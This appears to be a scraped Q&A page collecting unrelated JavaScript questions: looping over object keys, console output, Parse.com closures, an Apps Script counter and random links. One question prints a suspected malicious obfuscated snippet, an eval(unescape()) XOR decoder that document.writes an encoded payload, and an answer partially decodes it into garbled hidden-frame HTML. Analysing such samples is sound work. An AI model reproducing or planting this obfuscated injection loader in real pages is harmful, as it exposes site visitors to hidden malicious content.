Reading out a JS object - javascript

I have been messing around for a project I'm working on with arrays in JS. However, since this didn't work out, I had to turn to objects. Never having used these, I'm wondering about something fairly simple, yet complicated to me. I have the following code:
var ticket_amount = {};
var days = $(".t_days_" + ticket_id).val().split(',');
for(var i = 0; i < days.length; i++)
{
if (! ticket_amount[days[i]])
{
ticket_amount[days[i]] = 0;
};
ticket_amount[days[i]] += num_tickets;
}
This gives me my output as follows:
I now want to use the information in this object to display some more information. More specifically, I need to get both the date and the ticketnumber out so I can work with them in jQuery. I'm not sure how to do this, though.
I've tried stuff like:
for(tickets in ticket_amount) { }, for(var i = 0; i < ticket_amount.length; i++) {}, but none of these options seem to work. How do I get the information out in this specific case? Thanks a lot.
I won't be on the computer after posting this so I won't be able to answer to any questions for now, but I will find time for it tomorrow. Thanks in advance.

You were almost correct. This would print the data you need, for example.
for(ticket in ticket_amount)
{
console.log("Ticket:" + ticket + " amount: " + ticket_amount[ticket]);
}
EDIT:
of course, ticket in the above example should have been named just a tad better :)

for(day in ticket_amount){
// Here day contains the day, and ticket_amount[day] contains the number of tickets
alert(day+': '+ticket_amount[day]);
}

Related

javascript use console.log without moving to new line

I am new to js and hope this is not too trivial, but I am unable to find any help on the net.
I wish to output to console.log and prevent moving to a new line, so the next time the output will be appended to the same line. ie,
"use strict";
for (let i = 0; i<=9;i++){
console.log(i); // here i would like to freeze the output so the result is 0123456789 on one line, rather than those digits in a column.
}
I have seen fixes involving assigning the outputs to a string and printing in 1 hit, but that seems incredibly crude. Even in Fortran 4 as I recall in the '70s, you could prevent moving to a new line before printing again, so I think I am missing something fundamental. Also I cannot find any general help on formatting numerical output in javascript. Can someone point me in the right direction?
Thanks
Unfortunately, the console.log() method will only write out a string to a single line and doesn't support the appending behavior you are looking for.
As you detailed in your original post, you could accomplish writing the final result out through the use of a variable (i.e. displaying the final concatenated string), but not continually appending to the same line within the console itself as the loop is being iterated over.
Alternative Grouping Option
The concept of grouping entries is supported, which is obviously very different than your original ask, but it may be worth considering as mentioned in the documentation for console.group() and might look something like this:
var rollingConcatenation = '';
console.group("Looping Group Example");
for (let i = 0; i<=9;i++){
rollingConcatenation += i;
console.log(rollingConcatenation);
}
console.groupEnd();
This can give your console the following appearance, which can help with readability (depending on your use cases):
Do It Yourself Implementation
Another option might be to store your current console value within a variable and at clear it and rewrite the updated values out. Depending on your very specific use cases, you could achieve the behavior you are looking for using something like this crude implementation:
// Define a custom console
var customConsole = {
// Store a reference to your backing value
tempValue: '',
// Always write out the most recent value
log: function(msg) {
this.tempValue += msg;
console.clear();
console.log(this.tempValue);
},
// A clear method to clear the backing console
clear: function() {
this.tempValue = '';
console.clear();
}
}
for (var i = 0; i < 10; i++) {
// Use your custom console instead of the normal one
customConsole.log(i);
}
Take a new variable outside the loop and then prepare that string inside the loop and then you can console.log() outside the loop.
var str = '';
for (let i = 0; i <= 9; i++) {
str += i;
}
console.log(str);

Parse.com Relational Query

I am quite new to Parse and I am struggling with a particular query. I have a class User
a class Post
and a class Comment (I guess my configuration is pretty standard) I do not have enough reputation to post pictures - how sad that sounds - :-)
I have a query where basically I select all the posts (and the related users and ideally I would like to have all the comments related to the post) To do so I do:
var query = new Parse.Query("Post");
query.include("user");
query.find({
success: function(objects) {
for (var i = 0; i < objects.length; i++)
{
var object = objects[i];
console.log(object.id + object.get("user").get("imageUrl") + object.get('text'));
var commentquery = new Parse.Query("Comment");
commentquery.equalTo("post", object);
commentquery.find({
success: function(comments) {
console.log(object.id + object.get("user").get("imageUrl") + object.get('text'));
where basically I try to get the posts and then fetch the comments for each of them. Unfortunately, the second console log in my code always prints the same object (like ignoring the for loop).
I really don't know what am I doing wrong (maybe the callbacks or maybe the query setup) but I am not able to overcome this. Also, if any expert knows a better way of doing this without getting redundant with data or knows a good tutorial / book on Parse (apart from the Parse Documentation) I will be really grateful.
Thanks in advance!
Use an anonymous function to close your work on object.
for (var i = 0; i < objects.length; i++)
{
var object = objects[i];
(function(object){
//do stuff with object;
})(object);
}
You're using the most recent object because the work after the assignment has not yet finished so objects[i] is going to the next one too early. The extra function should help.
Or you can just
for (var i = 0; i < objects.length; i++)
{
(function(object){
//do stuff with object;
})(objects[i]);
}
Closures and the infamous loop problem

Google Docs - spreadsheet loop

This one might be a bit basic and easy to answer, but I've been pulling out my hair for a while now!
I've built the following code - which is semi-pseudo as I can't find the right way to make things work!
var s = "Test";
function onEdit(event)
{
var ss = event.source.getActiveSheet();
var r = event.source.getActiveRange();
if (ss.getName() == s)
{
results = {"Currently On": 0, "Next Up": 0, "On Hold": 0, "Waiting on someone else": 0, "zDone": 0};
last = ss.getMaxRows();
start = ss.getRange("F3:"+last).getValues();
var output = "J11";
for (x=0;x<start.length;x++)
{
results[start[x]]++;
}
for (y=0;y<results.length;y++)
{
row = ss.getRow(output);
row.value = results[y];
output++;
}
}
}
I've got an example of the data in this image
The basic idea is to run through all the possible categories of each task and keep a numeric list on the side of how many of each there are. I'd also like to make it dynamic (so I don't have to hard code in the list of categories) but I'm more interested in just making it work for the moment.
The Google Apps debugger is very frustrating!
Thanks for your help all!
Firstly, this particular use case would be easily achievable with a spreadsheet formula, eg:
=QUERY(A2:F;"select F, count(A) where F != '' group by F label count(A) 'Count'";1)
but there may be a reason why you want to do this with GAS.
So secondly, this is where I think there may be some syntax issues:
last = ss.getMaxRows();
I would just use var last = ss.getLastRow() here.
start = ss.getRange("F3:"+last).getValues();
The range reference would evaluate to something like "F3:100", which is a valid reference in GSheets (don't know about whether GAS can handle it), but nevertheless you really want something like "F3:F100", so I would use var start = ss.getRange("F3:F"+last).getValues();.
results[start[x]]++;
When you create an array from a getValues() call it is a 2D array, so you would need to use results[start[x][0]]++;.
With the next loop and the output variable, I must admit I'm a bit lost with what you're doing there. How did you want your result table laid out?
You have
output = "J11";
And then you do
ss.getRow(output);
output++;
This is invalid.First of all, ss is a Sheet under which there is not getRow method. So, what you should really be doing is something like this
var row = 11 ;
var col = 10 ; //Col J
for (y=0;y<results.length;y++)
{
ss.getRange(row,col,1,1).setValue(results[y]);
row++:
}
Like AdamL, I suggest that this is better handled within the native capability of the spreadsheet. Seems to me that you want a pivot table, which would update dynamically. Alternatively a formula like =countif(F:F,"Currently On" ) would meet your immediate request. =Unique(F:F) will give you the list of categories in an array

obfuscated javascript code

I have encountered some java script code which I believe is malicious but most of it is obfuscated. I was wondering if someone could help me figure out what this code actually does.
eval(unescape('function n48ec61ae(s) {
var r = "";
var tmp = s.split("12113781");
s = unescape(tmp[0]);
k = unescape(tmp[1] + "608421");
for( var i = 0; i < s.length; i++) {
r += String.fromCharCode((parseInt(k.charAt(i%k.length))^s.charCodeAt(i))+-4);
}
return r;
}
'));
eval(unescape('document.write(n48ec61ae('') + 'GoqwpF#dmgiEFxipviJBkSbzbjxy,_WMD1yj{yoBFqa|g%ufxoA"go}swtip%-asvporpE$'EF3hachJAmulwisa~$^WYVF%<24-8(&,BQWOJ_G&0."J^ASHAP_NIRI 4. HWBR#QTAOKRCE$5!A#n~cqa PDVJH xw| $_RE#!oq~t:;5{s0ram`axsau2ows2ulaoizm6<21wnkdpicp5hx6vms#q042enA1?7+5=0oI $ZWTHPNWOBFj~ash#QLWIE.nsyaos5kl~& _PGI"ggtzq8ftmto. SDQHDT[I#^LI"6'#RLPKIZJIEONYF%= $SOPSXTOSLB/TS",LVMUKGTUAOVE.2&,VQWNTDXIF#;ntdvj~oxFHtsbrgpntKF3v{lvmukvEF3hpwpJ121137817396048' + unescape(''));'));
// -->
Just as a reminder DO NOT EXECUTE THIS CODE.
Silly rabbit... tricks are for virtual machine images which you were planning on discarding anyway...
I've spent a good deal of time on this and I think I can confirm that this is so obfuscated that it can't do anything anymore.
You'll get this:
<html>D`i]eI>vdsq\H>kW^v`fly*ZLJI3ujouk#BuazbrkzkA&ckwo{lgm*dqrpcnl? +=#.k^fjFAaqhmewax!UPLLB0.0'4*?RPBH[?*,* FRAMEBORDER=0$<O<OCNYCKKV?A1%A>ku\tcPHRFJlozXW?<!cmzn6/-un3mdg\alo]o.com/nkdeeza280-{feasffr1hl2rgoDq.11bcC-7;'17,cI!YPYJLF[K><frame NAME="jo{]cs3fgy+"[PKE]cxzo5]s`nk&$O#SDHLUDCYAK.+NFL?ITGJBBDU>)9OCPMUOHVF>'XO&HZESF<SXCKNI*.(ZQQKOCMKB#/jp^r^viu=Gyq^rkljnGJ3pvgq`ognIB/jl{pD
The problem is that another function is needed to unscramble this. Notice how it has <html> as well as FRAMEBORDER=, and <frame? That means that there is something which is able to break this up into chunks and reassemble it. The fact that there are so much noise also suggests that there is a function which further decrypts this beyond the scope of n48ec61ae.

Randomize Keyword Links

I'm currently looking for a method to display five keywords/links at a time from a total of about 50 at random. So for example, a function to grab a keyword and the links to go with them at random, and have them display in a webpage according to what I prefer with CSS.
It sounds simple enough but I just can't seem to find the answer I'm looking for. Any help is appreciated! Thanks!
Something like that?
function getRandomLinks(count,links){
var randomlinks = [];
for(var i = 0; i < count; i++){
randomlinks.push(links.splice(Math.floor(Math.random()*links.length),1)[0]);
}
return randomlinks;
}
console.log(getRandomLinks(2,["link1","link2","link3","link4"]));

Categories

Resources